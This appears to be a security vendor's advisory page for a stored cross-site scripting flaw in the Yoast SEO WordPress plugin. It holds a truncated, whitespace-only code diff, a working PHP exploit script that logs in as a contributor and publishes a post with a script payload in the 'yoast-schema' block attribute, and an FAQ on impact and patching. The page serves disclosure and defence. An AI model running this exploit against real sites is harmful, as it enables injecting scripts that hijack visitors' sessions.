+++ b/wordpress-seo/src/dashboard/user-interface/setup/setup-flow-interceptor.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceSetup;

@@ -80,7 +81,6 @@
 		if ( get_transient( Setup_Url_Interceptor::SITE_KIT_SETUP_TRANSIENT ) === '1' && $this->is_site_kit_setup_completed_page() ) {
 			delete_transient( Setup_Url_Interceptor::SITE_KIT_SETUP_TRANSIENT );
 			$this->redirect_helper->do_safe_redirect( self_admin_url( 'admin.php?page=wpseo_dashboard&redirected_from_site_kit' ), 302, 'Yoast SEO' );
-
 		}
 	}

--- a/wordpress-seo/src/dashboard/user-interface/setup/setup-url-interceptor.php
+++ b/wordpress-seo/src/dashboard/user-interface/setup/setup-url-interceptor.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceSetup;

@@ -121,7 +122,6 @@
 				// phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: Only allowed pre verified links can end up here.
 				$redirect_url = wp_unslash( $_GET['redirect_setup_url'] );
 				$this->redirect_helper->do_safe_redirect( $redirect_url, 302, 'Yoast SEO' );
-
 			}
 			else {
 				$this->redirect_helper->do_safe_redirect( self_admin_url( 'admin.php?page=wpseo_dashboard' ), 302, 'Yoast SEO' );
--- a/wordpress-seo/src/dashboard/user-interface/time-based-seo-metrics/time-based-seo-metrics-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/time-based-seo-metrics/time-based-seo-metrics-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceTime_Based_SEO_Metrics;

--- a/wordpress-seo/src/dashboard/user-interface/tracking/setup-steps-tracking-route.php
+++ b/wordpress-seo/src/dashboard/user-interface/tracking/setup-steps-tracking-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardUser_InterfaceTracking;

--- a/wordpress-seo/src/editors/application/seo/post-seo-information-repository.php
+++ b/wordpress-seo/src/editors/application/seo/post-seo-information-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 namespace YoastWPSEOEditorsApplicationSeo;

--- a/wordpress-seo/src/editors/application/seo/term-seo-information-repository.php
+++ b/wordpress-seo/src/editors/application/seo/term-seo-information-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 namespace YoastWPSEOEditorsApplicationSeo;

--- a/wordpress-seo/src/editors/domain/analysis-features/analysis-feature-interface.php
+++ b/wordpress-seo/src/editors/domain/analysis-features/analysis-feature-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOEditorsDomainAnalysis_Features;

--- a/wordpress-seo/src/editors/domain/analysis-features/analysis-feature.php
+++ b/wordpress-seo/src/editors/domain/analysis-features/analysis-feature.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOEditorsDomainAnalysis_Features;

--- a/wordpress-seo/src/editors/domain/analysis-featu

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1293 - Yoast SEO <= 26.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'yoast-schema' Block Attribute

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

// Create a cookie jar for session management
$cookie_file = tempnam(sys_get_temp_dir(), 'cookies_');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Extract nonce for post creation
$post_new_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_new_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
curl_close($ch);

// Extract the nonce from the page (simplified - in reality would need proper parsing)
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

// Step 3: Create a post with malicious yoast-schema block
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$payload = json_encode([
    'title' => 'XSS Test Post',
    'content' => '<!-- wp:yoast-seo/structured-data-block {"yoast-schema":"<script>alert(document.domain)</script>"} /-->',
    'status' => 'publish'
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 4: Verify exploitation
if ($http_code === 201) {
    $post_data = json_decode($response, true);
    $post_url = $post_data['link'] ?? '';
    
    echo "Post created successfully: " . $post_url . "n";
    echo "Visit the post to see the XSS payload execute.n";
    echo "The yoast-schema attribute contains: <script>alert(document.domain)</script>n";
} else {
    echo "Failed to create post. HTTP Code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

// Cleanup
unlink($cookie_file);

?>

Frequently Asked Questions

What is CVE-2026-1293?
Overview of the vulnerability
CVE-2026-1293 is a stored cross-site scripting (XSS) vulnerability found in the Yoast SEO plugin for WordPress, affecting versions up to and including 26.8. It allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into pages via the ‘yoast-schema’ block attribute.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s handling of post and term meta values. Authenticated attackers can inject malicious scripts that execute when users access affected pages, potentially leading to session hijacking or content manipulation.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Yoast SEO plugin version 26.8 or earlier is vulnerable. Specifically, authenticated users with Contributor-level access or higher can exploit this vulnerability, making it critical for site administrators to assess user roles.
How can I check if my site is vulnerable?
Steps to assess vulnerability
To check if your site is vulnerable, verify the version of the Yoast SEO plugin installed. If it is version 26.8 or earlier, your site is at risk. Additionally, review user roles to identify any users with Contributor access or higher.
How can I fix CVE-2026-1293?
Mitigation steps
To fix this vulnerability, update the Yoast SEO plugin to version 26.9 or later, where the issue has been patched. Regularly check for updates to ensure that your site remains secure from known vulnerabilities.
What does the CVSS score of 6.4 indicate?
Understanding risk levels
A CVSS score of 6.4 indicates a medium severity level, suggesting that while the vulnerability is not critical, it poses a significant risk. Exploitation could lead to serious consequences, including unauthorized actions within the context of authenticated users.
What are the practical implications of this vulnerability?
Potential risks and impacts
If exploited, this vulnerability can allow attackers to execute scripts that may hijack user sessions, manipulate content, or redirect users to malicious sites. The stored nature of the attack means that the impact could persist until the injected scripts are removed.
What is the proof of concept for this vulnerability?
Demonstration of exploitation
The proof of concept demonstrates how an authenticated user can log in to a vulnerable WordPress site and inject JavaScript into the ‘yoast-schema’ block attribute. This script will then execute whenever any user views the compromised page, showcasing the ease of exploitation.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updates are not possible, consider disabling the Yoast SEO plugin until it can be updated. Additionally, review user roles and limit access for Contributors or higher to reduce the risk of exploitation.
How can I prevent similar vulnerabilities in the future?
Best practices for security
To prevent similar vulnerabilities, regularly update all plugins and themes, implement a web application firewall, and conduct security audits. Educating users about secure coding practices and input validation can also help mitigate risks.
Where can I find more information about this vulnerability?
Resources for further reading
More information about CVE-2026-1293 can be found on the National Vulnerability Database and security advisories from WordPress and Yoast. Keeping abreast of security updates from trusted sources is essential for maintaining site security.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations